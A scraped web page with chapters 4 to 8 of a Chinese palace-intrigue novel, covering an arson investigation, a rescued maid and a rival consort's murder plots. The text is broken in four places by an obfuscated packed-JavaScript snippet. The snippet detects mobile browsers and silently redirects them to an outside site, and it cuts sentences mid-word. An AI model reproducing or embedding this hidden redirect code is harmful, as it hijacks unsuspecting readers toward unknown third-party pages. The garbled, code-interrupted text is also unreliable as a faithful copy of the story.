RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111521|164089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>辛冉来到殿上,皇后坐在上首,贤妃陪坐在侧,殿中跪着一名内监。皇后远远免了辛冉行礼,让她在自己左手侧坐下:“你来了。这是掖庭局的管事,让他与你说说钟粹宫失火来由。” “问贵妃娘娘安好,奴才掖庭局吴英林。”跪着的内监凝声开口,将案情细细说来。 除了当晚值夜的琥珀、玛瑙,掖庭局将钟粹宫中的宫人统统扣押起来,一一审问很快便有人招供。是连房值守的小宫女熨衣时睡着,火斗落在衣物上引起大火。 吴英林说:“奴才以为就此查明,将案情回禀,幸而有贤妃娘娘明察秋毫,才不至于教幕后真凶脱逃。” 辛冉听得入迷,没想到这管事有一番说书的好本领,吊足人胃口。 “贤妃娘娘道,连日并非天干物燥,区区火斗绝不能引起这样的滔天大火。奴才立刻回去严查,严刑之下果然揪出真凶,小宫女确实失职偷睡,但火斗并非意外翻倒,而是有人故意为之。且这两人将火油浇在钟粹宫主殿的墙角、窗纱、帷幕,才将星星之火变作熊熊大火。” “这两人是谁?”辛冉问。 “是钟粹宫的宫女水晶和碧玺。” 辛冉仔细想了想,却想不起这两人的脸,又问:“他们为什么要放火?” 对答如流的吴英林在这时沉默了,顿了顿才回答:“回禀贵妃娘娘,这两人是您进宫时的陪嫁,他们的父兄全随柱国大将军出征,死在了忻州之战中。他们称……是为了父兄报仇。” “胡说八道!他们的父兄是为了国家战死,要寻仇也该找伊瓦国,算到贵妃头上算什么!”贤妃怒道。 “贤妃说得极是。”皇后伸手握了握辛冉,以示安慰。 辛冉像是被当头打了一棒,不知说些什么、做些什么。 “正是贤妃娘娘说得这个理,这两个刁奴实在是鬼迷心窍。”吴英林连连附和,“案情已查明,两人如何处置还请皇后娘娘示下。按宫规,这两人在宫中纵火、谋害贵人,当处死刑,父母兄弟流放三千里。正是水晶已在狱中畏罪自尽,两人父母兄弟死尽……” 父母兄弟皆死尽……这不止是水晶碧玺两人的亲族,辛冉也是如此,辛家军中太多如此这般的境况。忻州之战的胜利,是辛家军用无数人的身躯填出来的。 殿上静悄悄,皇后和贤妃无言,就连执掌掖庭局多年、见惯死伤的吴英林也默默。 就在这时,辛冉站起身来。她感觉自己身体里还有另外一股力量,让她站起来,走到殿中,在皇后面前跪下。她请求:“请娘娘饶了碧玺一命,他的父兄亲族已死过一回,就当做替她死了一回罢。” 皇后:“本宫不能答应你。贵妃,本宫知道你怜惜辛家军后人,本宫亦感念辛家军英魂。可辛家军留下的孤儿寡女何止水晶、碧玺,若是饶了她们,那如何去对待守法的其他人。” “娘娘!” “贵妃,以德报怨,何以报德?” 辛冉依然觉得很累,像是背负着巨石逐渐脱力。她在昏过去前听见皇后吩咐吴英林—— “按照宫规处置。” 5. 第 5 章 未到阳春三月,气候尚有微寒,惠妃的兴庆宫内却暖烘烘的。 三皇子刚出生,兼又早产,皇帝和皇后的赏赐如流水一般送进来,宫内日夜不停地烧着瑞碳。 “娘娘,皇上真是宠爱你。这瑞碳是罗浮山的道长进献,每年不过一车,仅供皇上的太极殿,莫说旁的妃嫔就连皇后娘娘宫中都不曾用。”宫女正伺候惠妃进汤药,一边奉承着。 瑞碳造价不菲,状若鸡蛋,价等黄金。它热量惊人,一颗就能让整个宫殿温暖如春,而且自带异香。如此珍贵的瑞碳,惠妃殿中足足摆了九炉。 惠妃才生产完,面色显得几分憔悴苍白,眼眸却神采奕奕:“也不枉本宫鬼门关走一遭,总算是赌对了。” 殿中除了尚在襁褓中的婴儿,仅有惠妃主仆二人,她放下心来说话:“掖庭局结案了吗?那两人嘴可严?” “娘娘放心,不安分的已经处理了,剩下那个叫碧玺的确实恨透了辛家,断不会反水。有了她的口供,皇后已经命吴英林宫规处理。钟粹宫失火,断不会查到我们头上。”宫女回禀道,“娘娘英明果断,服了催产药生子,谁还能将那场大火和您联系到一块。” “只可惜,没有烧死辛冉,仍让她占着贵妃的位子。” “娘娘,您如今膝下养育着两位皇子、一位公主,是宫中生育皇子最多的妃嫔。眼下将养好身子,何愁将来没有尊位?”宫女不断说着好话,“如今皇上虽不能为您晋位,可却让礼部去商议,册封三皇子为郡王。本朝还没有皇子一出生就封郡王的先例,多大的殊荣。” 惠妃抱起枕边的婴儿,贴了贴三皇子的脸:“不过区区郡王,皇儿,你且看着,母亲定为你搏一个好未来,不枉费你出生吃得苦。” 惠妃抱着孩子轻轻摇动,抬起头来却是一张冰冷的脸。她吩咐宫女:“夜长梦多,剩下那个也早点送她上路,只有死人才不会多嘴。” *** 辛冉醒来是入夜。殿中烧着碳,叫她口舌发干,玛瑙扶她起来喝了半盏花露才将将缓过来。 “娘娘身体亏空,接连受惊,太医叮嘱务必静养,否则精元受损再难回天。”玛瑙念叨起人来言辞如性格一样平实,不若琥珀,要是换了她必得絮絮叨叨长篇大论。 辛冉点点头,心里却很满意。自己连番倒药到现在,总算初见成效。 “琥珀现在怎么样?”她问。 “她下午醒来一回,已无大碍,如今又睡下了。请娘娘恕罪,我对她隐瞒了娘娘的病情和一切,她尚在病中帮不上忙,知道也只是忧虑伤身。” “你做的好。”辛冉点头,“你和琥珀、水晶、碧玺都是一同入宫的,你觉得水晶、碧玺人怎么样?” 玛瑙默默片刻,跪到在辛冉床前:“忻州消息传来,碧玺成日以泪洗面、不做活也不与人说话,一时想左犯下错事。娘娘还请不要伤怀。” “你觉得她有动机?那水晶呢?” 玛瑙眼里泛起泪光:“她是个好孩子。” “但她死了。她的父兄为了国家死了,我不能让她们也都死了。”辛冉掀被起来,扶起玛瑙:“我要你去把昨日救火的八个人找来,告诉他们我要带人去掖庭局抢人……” “娘娘!”玛瑙忍不住出声打断。 “要告诉他们,去的人有赏,但我没有得到皇后的允准,愿意的人跟我去。”辛冉握了握她的手臂,“去吧。” 玛瑙共召来六人,为首那个便是当初在火海中扛出李才人的宫女。先前听玛瑙说,这人名唤金花,因着天生高壮,有一把子力气,在宫中帮着侍候茶水,搬柴烧炭不在话下。 金花上前行礼:“娘娘,奴婢们都愿意追随娘娘,只是还有二人不愿前来。” 辛冉正想说不用勉强这两人,只听金花又说—— “我已经把他们打晕关起来了,定不会走漏风声,耽误娘娘大事!” 辛冉吃了一惊,夸赞她:“行事干脆,你有将军风范啊。好,你们都随我一起去掖庭局。” 辛冉领这一干人趁着夜色溜出翊坤宫,直奔掖庭局而去。看守之人不堪金花冲撞,辛冉破门而入将酒桌上的吴英林逮个正着。 “娘娘,娘娘贵足怎么踏足贱地!”吴英林顾不得酒淋湿满怀,惶惶地跪倒在地上。 掖庭局偏居后宫西边最深处,收容关押的都是犯错的宫人。哪怕有贵人要亲自问询,也是将人提出去,决不会来这样偏僻荒凉的地方。所以吴英林在掖庭局就好似猴子称大王,大门一关就作威作福,才入夜就饮酒作乐。哪里想到今夜会有一位贵妃冲进他的厢房。 辛冉不与他废话:“我要见碧玺,还要看她们两人的口供,现在!” 吴英林还想要拖延时间,张口称:“此处污秽,娘娘不若回宫去,奴将口供送去……”说了半天,就是不愿带路。 “金花。”辛冉蹙起眉头,吩咐金花上前。 金花人比吴英林一个男子还要高出半个头,将他的胳膊侧翻过去,一把就提溜起来。吴英林哀声求饶,但就是不肯说出口供所在和碧玺所在。 “你究竟在隐藏什么,不愿意让我知道?”辛冉反而觉得他举止奇怪可疑,问了一句也不等他回答,就命玛瑙喊来掖庭局所有人。 玛瑙捧出一锭金锭示意众人:“找出口供者有赏。” 夜色漆黑,灯火之下显得金锭更加耀眼,人群中立刻有人高喊:“奴婢知晓口供放在何处!” 辛冉拿了口供,命人捆起吴英林,关上宫门,往碧玺那里去。路上玛瑙朝她低声道:“奴婢瞧见有人溜出去了,定是去报信。” 吴英林也听见,他不在求饶,反而高喊:“娘娘纵容位居高位,但上有皇后,岂能无故擅闯掖庭局、扰乱宫闱!” 辛冉置若罔闻,直奔碧玺所在,她被关在掖庭局牢房深处中。辛冉病体未愈,跑了一路,直觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111522|164089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肺喘得生疼。终于跑到牢房前,见碧玺衣着脏污躺在地砖上。辛冉气还未喘匀,玛瑙先喊了碧玺几声,但她都没有反应。 有机灵的宫人上前开锁,玛瑙冲进去一瞧碧玺,叫道:“她被人刺伤了!” 辛冉蹲下身去看,碧玺胸前被血浸湿了一片。 “娘娘,她还有气!” 辛冉叫人把碧玺扛起来:“我们现在回去,你先去请太医。” “娘娘,皇后娘娘怕是已经知道此间发生的事,我们现在回去……”玛瑙问。 “本来也瞒不住,我回去请罪,你回去给碧玺治伤。” 辛冉率一干人来到掖庭局,又回到翊坤宫,风风火火将所有人都打得猝手不及,甚至皇后派去控制局面的管事姑姑还没有赶到掖庭局,就在半道上遇到了返回的辛冉。 管事姑姑还未传旨,辛冉便抢先说:“我现在便是要去向皇后娘娘请罪。” 跪过一次似乎破除了心理障碍,辛冉进了翊坤宫主殿,径直就在皇后跟前跪了下去:“我触犯宫规,擅闯掖庭局,请皇后娘娘责罚。碧玺纵火一事疑点重重,娘娘若要处死她,就请罚我跟她一同死。” 皇后主持六宫多年,还是第一回觉得头晕目眩,白发都要立时生出三根来。 “胡闹!你是什么身份,闹着与一个罪奴同死像什么样子!” “反正碧玺要是死了,我就和她一起死。” 皇后按住了额角:“你举止不当,我们以后再论。你要为碧玺辩解,那就说说,如何疑点重重?” “娘娘,她在掖庭局被刺杀,就是最大的疑点,肯定是幕后主使要灭口!刺客是谁,谁人主使,还需查明!” “疑点二,碧玺为人所害,由此看来水晶之死也很可疑,还请娘娘派人验尸,查明水晶究竟是自尽还是被人灭口!” “疑点三,我看了水晶和碧玺的口供,她们偷了库存的桐油浇在宫墙上点火,而另一份清单上记明钟粹宫遗失桐油一百斤。她们两个弱女子,如何能悄无声息偷出百斤桐油,瞒过所有人在短时间内浇在宫墙上?必定有人帮手!” “放火的帮手是谁?今夜刺客是谁?幕后主使又是谁?碧玺今夜只要醒来,便能问出。” 辛冉一气说完,跪着静静等皇后的回复。 皇后看着跪在面前的辛冉,仿佛第一次认识她。辛冉入宫年岁不长,又不爱与人来往,辛将军殉国之后更是性格沉默,接着便是一病不起。病中见过的几次,人虽救回来,魂却好像没有,总是一副死气沉沉的。 “贵妃,今夜我方才见你有一丝活人气,但却是为了一个小宫女。你所说的,我会让人去查,但就算查出幕后主使,碧玺也逃不过纵火的罪罚。” “还请皇后娘娘留她性命!打板子也好,流放也好,若非要处死就把我一并处死。” 一向温柔似水的皇后声音冷硬起来:“你这是在威胁本宫。” 6. 第 6 章 “贵妃竟公然以死相逼!”贤妃气恼道,“娘娘质问,她可有醒悟请罪?” 皇后叹了一气:“贵妃请罪,但却坚持与碧玺同死。辛家为国尽忠,我当好好照顾他们唯一的血脉,怎能使其殒命后宫。只得许她医治碧玺,重新查明再行治罪。” “岂有此理!贵妃枉费娘娘拳拳爱护之心,我瞧娘娘也不必将她留在宫中!还是速速另寻宫殿,将她打发出去。” “要寻一处贵妃居所不易。” 二人正叙话,皇后身边的大宫女端了汤药过来:“娘娘,时辰到了,该喝药了。” 姐妹二人停住话题,一起端起碗来喝药。贤妃一饮而尽,皇后稍慢些,一口一口将玉碗里的汤药喝完,又取了一枚蜜饯含在口中。 贤妃拧着眉开口劝道:“蜜饯虽甜嘴,始终影响药性,妹妹吃药后从不吃糖饮茶,口苦一时就会散去了,姐姐不妨也戒了这果子。” 皇后摇了摇头:“我早过诞育之龄,喝求子药无非是全了孝心,不愿母亲苦心白费。你才进宫几年,姐姐喝这求子药已喝了十二年,南边的、北边的,早就喝了遍。” “姐姐不要灰心,这回的方子是海外回来的神医所献,也许就有变化。” 皇后抬手制止了这个话题,转而道:“钟粹宫失火要严查,贵妃一闹也看出吴英林不可用,掖庭局不知什么时候换了主子。我会奏请皇上,换锦衣卫来彻查。” 贤妃也旧事重提:“让阿弟来查,姐姐尽可放心。贵妃移居一事,还请姐姐听我的,她不愿与碧玺分开,但碧玺一介罪奴怎可留在钟粹宫,还是早早将他们主仆挪出去。届时我也要将李才人还给贵妃。” “怎么?你巴巴接她去自己宫里,怎么又不要了?” 贤妃道:“本觉得李才人上进,是个可用之人。可惜了,大火烧坏了她半个肩膀,这样之人再无可能分得圣宠。” *** 碧玺始终没有醒来。周太医来为她治伤,言说碧玺腹中一刀,失血过多,能否醒转还未可知。 辛冉叫玛瑙厚厚给他一封赏,叫他不予余力必要救活碧玺。 “皇后许准我们搬出钟粹宫,将景福宫给了我们。琥珀还未好,你来安排,我们明天就搬。”她又吩咐玛瑙。 “娘娘,为何是景福宫?那宫殿最是偏远,怕是娘娘先前之举惹恼了皇后娘娘。” 辛冉心想,就是越远越好越清闲,这还是她特地从皇后给的选项中选的。她转开话题:“你安排便是。若是人手不够,就去内侍省借些人来。” 玛瑙应道:“娘娘无需担心人手。那日娘娘散财万千,如今合宫上下都把您当做是财神爷,赶上来还来不及,用不着我们去借人。” 辛冉点头:“来帮手的你记得多封钱与人。” 玛瑙应下,回去与琥珀说了搬宫一事:“你还是快些好起来,没了你这个管家婆,娘娘手松得好似个善财童子。” 琥珀难得跟辛冉站在一块,道:“娘娘做得对,正是要多多封钱与人。娘娘本就不得圣宠,如今又顶撞了皇后娘娘,若是空有尊位难免被小人议论。景福宫是远,远得正好,教人将咱们库房里的箱笼远远一路运过去,叫他们看看娘娘这尊财神爷多有钱!” 财神爷多有钱呢? 后宫若以皇后居住的翊坤宫为中心,分为东西两侧,辛冉原来所居在东边的钟粹宫,现在移居的景福宫则位于最西侧。 辛冉若是坐在翊坤宫大门口,能看见装载着自己箱笼的车辇流水一般从东到西,一昼夜都不停歇。 黄金五车、白银五车、玉石三车、珊瑚三车、珍珠三车、字画三车、蜀锦六车、云锦六车、皮草六车、器具十车……金银细软,数之不尽。 运不完,根本运不完。 辛冉瞧了一会觉得无趣,去同皇后辞行。她来得不巧,去时皇后正在喝药。 “无妨,你先坐。”皇后正捧着药碗。 辛冉想了想,没有多嘴关怀皇后因何喝药,只说自己今日搬宫来向她辞行。 皇后瞧见辛冉皱鼻子,将桌几上的蜜饯递给她:“你去景福宫,要听太医的话,好好将养身子,不许再说些寻死的话。” 辛冉听皇后不提处死碧玺,她也便不再犟。 “钟粹宫失火一事本宫已让锦衣卫去查,碧玺就先让你带着,待水落石出再行处置。” 皇后正说着,宫女来通传:“娘娘,薛指挥使来请安。” 皇后露出笑容,冲辛冉道:“说曹操曹操到,给你查案的人来了。” 辛冉转头看去,一人从傍晚的霞光中走进来,其人身姿挺拔,穿着一身缇色金绣官袍,衣摆随风摆动,几步便来到眼前。他躬身行礼:“臣薛照,请皇后娘娘安,请贵妃娘娘安。” “训青,快起来。” 辛冉这才瞧见来人全貌。此人生这一张玉面,剑眉星目,鼻梁高挺,唇角微翘。 指挥使是个美少年啊。 美少年起身上前,将手中提着的食盒放在桌上:“这是家中做的酥油泡螺。娘娘吃药苦口,配着点心甜一甜。” 他说话间,露出脸颊边的一个梨涡。 瞧见他笑起来,辛冉这才看出他与皇后娘娘眉宇间有几分相像。 是了,二人都姓薛,原是一家人。 皇后同辛冉介绍:“皇上准许,钟粹宫失火一案交由训青负责,若查出什么,本宫也教他去同你说。” “多谢皇后娘娘,”辛冉又谢薛照,“有劳薛指挥使。” “请娘娘放心,臣必将此事查个水落石出。”薛照拱手道。 薛照虽为锦衣卫,但终究是外臣男子,进宫请安机会不多。辛冉瞧二人神情,主动开口请辞,留出空间给他们叙家常。 *** 新居所很舒适。 虽然比起钟粹宫而言,景福宫偏远许多,但也正和辛冉所想。景福宫原是前朝几位太妃共同居所,故而位置虽远,地方却大,不止主殿比从前多出三间,拢共七间内室,比之皇后的翊坤宫也只少一间。琥珀看了喜滋滋地,说要给辛冉布置出琴棋书画四室来。 不止主殿,东西两侧围房也多上许多,大宫女内侍们人人都能分得一间单人宿舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111523|164089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 还有一妙处就是后殿的北围房,设有厨灶,从今以后辛冉就能在宫中设小厨房、开小灶,不必日日吃御膳房的定制菜。 这点于辛冉极为重要。 李珍珠今天也被贤妃送回,安置在东配殿。加上自己、琥珀、碧玺,宫中三个病号,日日都要煎药。吃药口苦,更是要饮食补气、糕点甜口。 辛冉也打算开始认真喝药。在碧玺没有醒来之前,她还要留住自己这条小命,不能像从前那样偷偷倒药。 所以有处小厨房极为重要,吃完药能有一口可心的糕点,再苦的药也能咽下去了。 说到小厨房,令辛冉意外的是,金华竟自告奋勇要去小厨房。 当日救火有八人,同去掖庭局救人有六人,于这六人,辛冉不止重重有赏,还将六人一并提拔。金华提了一等宫女,余下三名宫女豆蔻、佩兰、连翘,两名内侍吉顺、吉福都提作二等。 金华做了一等宫女,论理与琥珀、玛瑙比肩,尽可以统管小宫女们,做辛冉的贴身宫女。还没想到有人愿意舍近求远,自请去后院管小厨房的。 “娘娘,奴婢父亲曾是范楼的厨子,擅江淮菜色。奴婢从小跟着烧灶,也想学厨,但父亲不许,多少手艺都传给了弟弟。如今,娘娘宫中设了小厨房,请了春厨娘,奴婢斗胆想请娘娘圆奴婢一心愿。” “小厨房已有春厨娘,你如今升了一等宫女可以进内殿,还愿意去烧灶?”辛冉问金华。 琥珀也在旁说:“你莫要不识娘娘抬举,多少人盼望着进内殿伺候。有道是人往高处走,留在内殿可比去厨房的前程好,我还想着你来与我帮手呢。”她也认可金华的孔武果敢,想要留她。 但金华却打定了主意,冲辛冉一叩首,道:“奴婢此生就这一心愿,愿意吃苦,愿意去做徒弟。奴婢愿意把赏金还给娘娘,换娘娘一个答应。” 辛冉自己心里空空,于是便欣赏这些有心愿有冲劲的人。笑了笑,答应了:“赏金留着吧,将来多多做些好吃的来。” “多谢娘娘,奴婢领命!” *** 兴庆宫中瑞碳烧着如同暖春,惠妃刚哄了孩子睡着,让奶娘抱着孩子退下,招来贴身宫女。 “娘娘,吴英林那头已经吐了。” 惠妃气得砸了床边的汤碗:“没根的腌臜玩意,果然是不中用的!” “娘娘还在月子里,莫要动气。吴英林那处娘娘可放心,奴婢去的时候是夜里,又带了兜帽,扮做是何嫔宫中的黛紫,骗他他是信的。” 惠妃满意地笑了一声:“当初父亲一心要送贱妇生下的贱种进宫来,口口声声说要进宫来帮我。帮我,这不就派上用场了?” “娘娘,吴英林那也只是口供,听说薛指挥使那里查出了更紧要的证据,他们查到水晶乃是为人勒死而非自尽。” “蠢货,当初该把尸体也处理干净!”惠妃拧眉道:“无论如何,最后一并推到何月琴头上便是。她满心为了姐姐才行差踏错、火烧贵妃,届时我正早产生子,无论如何也与我没有干系。” “娘娘英明。” 7. 第 7 章 春寒已过,御花园的草木在和煦春风的滋养中勃发。景福宫与御花园紧紧相依,微风轻拂,殿内悠悠地弥漫起随风飘来的花香。 馥郁芬芳中,薛照正向坐在上首的辛冉汇报着钟粹宫失火案的真相。 “贵妃娘娘,经锦衣卫多方彻查,那水晶并非畏罪自杀。”薛照的声音犹如清泉击石,在大殿内回荡,“仵作检验,发现她是被人勒死的。” “怎么发现的?”辛冉好奇地问。 薛照本是要直接汇报,不料宫中娘娘竟会好奇尸检。顿了顿,耐心解答:“若是人自缢而亡,脖颈处应当只有一道勒痕,但碧玺脖颈处却有两道受力不均的勒痕,可以推断出是有人用绳勒死碧玺再伪装成自缢的假象。” 辛冉听闻,眉头紧锁:“是谁下的杀手?” 薛照继续道:“经过审讯,掖庭局总管吴英林招供。他受何嫔指使放杀手入牢狱灭口,伪造口供将钟粹宫失火的罪名加在水晶、碧玺身上。” “臣已找到了目击证人。”薛照从怀中掏出一份口供,双手呈上,“此二人为掖庭局奴役,亲眼目睹了杀手进入牢狱的过程。” “杀手是谁?”辛冉追问。 “是何嫔宫中的内侍吴德勇,罪奴现已伏诛。吴德勇死前招认,是何嫔为替姐姐扫清障碍,指使吴德勇勾连水晶、碧玺二人放火,又入掖庭局杀人灭口。”薛照沉默了片刻。 他想起来景福宫之前,皇帝嘱托“务必细细说清楚,同她分说明白内里,宽慰贵妃。主事皆为何嫔,惠妃并不知情又有何辜。惠妃为我大颂诞育二子,为了皇嗣,此事就查到这里。” 薛照难得顶撞圣上,道:“辛将军为大颂鞠躬尽瘁,死而后已。” 养心殿常焚瑞碳,此碳烧时暖而无声,没有寻常木炭噼啪之声,更显得殿内的寂静压人。 许久,皇帝终于打破这份沉默,不容置疑地道:“所以,朕叫你好好宽慰贵妃。” 薛照此时站在贵妃面前,却不知如何宽慰。她失去了父母兄弟、所有家人亲族,独自待在深宫,无端受人迫害却不得追究真凶。 倚在锦塌之上的贵妃很瘦,削尖的脸比起装着汤药的玉碗差不多。她看起来不爱喝药,喝一口苦汁,柳叶似的黛眉就皱起好一会,许久都无法舒展,非得吃上三四个蜜饯,才肯再度抿上一口汤药。 薛照等了好一会,终于开口:“陛下已将何嫔贬为庶人,打入冷宫。惠妃管教姊妹不严,受罚闭宫自省一月。” 他说完却并未等到贵妃的回应,只见贵妃拈着蜜饯,面带茫然得看向身边的宫女。 “娘娘,何嫔是惠妃的亲妹妹。” 辛冉“哦”了一声,原来惠妃姓何,她确实想不起来宫中后妃这么许多关系。这么一看,皇帝不知道是否有古怪癖好,偏好收集姊妹,皇后与贤妃是姐妹,惠妃与何嫔也是姐妹。 事情得到这样的处理,辛冉是满意的,总归保下碧玺的命就可以,旁的至于何嫔替姐姐出头、惠妃是否知情、处罚是否过情,她一概不在意。追究起来太过麻烦了。 只是薛照看起来好似为她愤愤不平,他脸颊畔的梨涡不止在笑时会若隐若现。 “辛苦指挥使。说了这么些会,不若喝盏茶,吃些蜜饯、果子,我宫中小厨房做的梅花饼很是可口。”辛冉道。 薛照却不饮茶,起身一拜便要辞行。临出门前,又突然回身,凌凌清光的眼睛看住辛冉,开口将她吓了一跳—— “贵妃娘娘,臣素来仰慕——” “指挥使慎言!”琥珀也被吓了一跳出声制止。 但薛照继续说了下去:“素来仰慕辛将军。将军荡寇鏊兵,收拾河山,从伊瓦手中夺回十六州,何等气概,何等忠心。贵妃娘娘若有事,训青愿效力。” 辛冉吓得提到嗓子眼的心落了回去,原来是辛胄飞的迷弟。 薛照一气说完,似乎想到方才琥珀提醒的言语之失,梨涡一现。他留下一句“臣唐突,告退”就匆匆离去。 *** 目送薛照的背影消失在宫门,辛冉懒懒地靠回软枕中。在琥珀那急切又带着几分关切的催促声中,她重新缓缓端起药碗,磨磨蹭蹭地小口喝着药。待药喝完,她轻轻放下碗,用手帕擦了擦嘴角,缓缓起身,准备去看碧玺和李才人。 碧玺被安置在西围房里,琥珀拨了一个小宫女专门照顾她。踏入碧玺的房间,屋内一片安静,只有小宫女在床前做绣活。 碧玺躺在床榻上,面色苍白如纸,毫无血色的嘴唇微微干裂,双眼紧闭,仿佛陷入了无尽的沉睡。 宫女在辛冉跟前汇报,今日周太医才来看诊,药一日不断地煎好灌进去,只是不见好。 “……周太医才来施过针。他说碧玺姐姐窒息时间太久,未必能醒来。” 辛冉叹了一声,交代小宫女用心照料。总归钟粹宫纵火案查出真凶,碧玺一日躺在病榻上,她就能保住她的小命。 从碧玺处离开后,辛冉又朝着李才人的偏殿走去。 还未踏入殿内,一股浓烈的血腥气便扑面而来,让她不禁心头一紧。快步走进殿中,只见李才人正虚弱地靠在床边,身旁的宫女神色慌张,地上满是带血的纱布和器具。 辛冉定睛一看,满是血污的水盆中浮着块皮肉! 辛冉看到这一幕,忍不住捂住了嘴,眼中满是震惊与不忍。她撑着琥珀的手站稳了,问周边的人:“怎么回事?谁干的!” 李才人从床上勉强支撑起来,气息微弱地说道:“娘娘莫怪他人,这全是我自己的主意。这块皮子烧坏了,周太医也说再难恢复平整,我带着这丑陋的伤还如何侍奉陛下。” 原来,李才人为了剥离身上那可怖的烧伤,竟硬生生地割下了那块皮肉。 狠人,这和关羽刮骨疗伤相差无几。 辛冉皱着眉说她:“胡闹!你不要命了?” “娘娘,于我这样的人,命哪里有恩宠重要。唯有如此,我才机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111524|164089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会重获恩宠。” “既如此,当初大火之中,你又为何舍出命来救我和琥珀?要是出不来,命和恩宠都没了。”辛冉问。 李才人趴在床榻上摇摇头:“这不一样,娘娘。您是我的小姐,一辈子都是,为您我甘愿舍出一切去。但眼下为了我自己的前程,我也甘愿豁出命去赌一赌。” 辛冉看着李才人那憔悴又决绝的面容,心里除了震惊还是震惊。她深知李才人的野心和决心,也无心劝阻任何人,只能转头对一旁的周太医说道:“在李才人伤愈前,还请太医就留在景福宫。李才人这伤口最怕感染,还需你小心照料。太医院那边,我派人去为你请假。” 周太医如遭重击,额头冒出细汗,唯唯诺诺地点头:“微臣领命。” 辛冉看他这副模样,心想李才人这伤口定是不简单,叫一个太医院副院判都为难。于是她又命琥珀多拨了几个宫女、内侍,一起照顾李才人养伤。 做完了这一切,辛冉带着一颗饱受冲击的心灵回到自己的宫殿。 一路上,李才人那痛苦的神情和满室的血腥气始终在她脑海中挥之不去,她的内心五味杂陈,既有对李才人行事的震惊,也有对这深宫现实的无奈。后妃争宠,犹如大厂内卷,只有更卷更残酷。 辛冉觉得自己还是不适合过这种心累生活,等碧玺醒来、安排好,她就断了中药继续寻死去。 刚踏入宫门,宫女便匆匆迎上,道:“娘娘,贤妃宫中派人送来帖子。” 辛冉微微挑眉,让把人叫进来。 来人是贤妃的贴身大宫女,进来先是恭敬地行了大礼,然后奉上帖子。 辛冉接过帖子,缓缓打开,只见上面写着贤妃即将举办赏花会,字里行间满是殷切的邀请。她依稀记得,贤妃曾提过自己宫中茶花将开。 正当她思索之际,贤妃的宫女语气诚恳地说道:“禀贵妃娘娘,我家娘娘说,请贵妃娘娘务必要来。此次赏花会,娘娘可是筹备了许久,就盼着能与贵妃娘娘一同赏景叙旧呢。” 辛冉无甚意趣,但面上应道:“多谢你家娘娘好意。” 大宫女谢过便告退离去。 琥珀见人离开,欢喜地上前去:“娘娘要去参加花会,不若唤尚衣局来裁件新衣。” “我只是应下了事,又不会真的去。”辛冉却道,“不过我好奇,贤妃上回相见与我极冷淡,怎么现在又邀我去花会了?” “娘娘要求彻查钟粹宫失火,查出幕后主使何嫔,打击了惠妃一派,贤妃自然愿意亲近娘娘。”宫斗小能手琥珀为她解答,“都说陛下原本要封三皇子为郡王,如今事发,也搁置不议了。” “原来是如此。” 琥珀点头:“正是。如今惠妃闭宫自省、大受打击,贤妃则为四妃之长,举办花会正好彰显势力,又可以笼络众妃嫔。” 辛冉点点头,轻轻玩弄着手中的帖子。一场宫闱间的暗流涌动,似乎正随着这赏花会的邀约悄然拉开帷幕。 8. 第 8 章 贤妃的花房中,宫女春桃怔怔地看着那盆被折断的茶花。 花茎从中间断成两截,切口整齐,整朵紫色茶花落在了地上。她难以置信地伸手,轻轻碰了碰断口处渗出的汁液,指尖沾上了一抹淡青。 花会就要举办,这可是最名贵的紫袍玉带。若是被贤妃发现,春桃不知自己还有没有命活下来。 锦衣卫班房中,薛照正在读一卷兵书。 同僚李成急急推门进来,道:“大人,有一急事要求您帮忙。” 薛照向来有急公好义的名声,点头让他说来。 “事情是这样,我有一同乡在贤妃宫中伺候花草……”李成将茶花折断的事情说出,“春桃说,这盆花是贤妃娘娘最珍爱的,特意从江南寻来的珍品。花会就在三日后,如今却成了这般。事到如今,只能想到请薛大人帮忙,替春桃求情,饶了她的小命。她外头还有一家老小,全指望她在宫中的这点银钱。” 薛照沉吟:“折花之人可有眉目?” 李成摇摇头。 薛照说:“你同春桃说,让她放心。她既无辜,我届时必保下她。” 李成焦急地说:“大人不现在去同贤妃说?那到时候花会上无法展出这盆茶花可如何是好?” 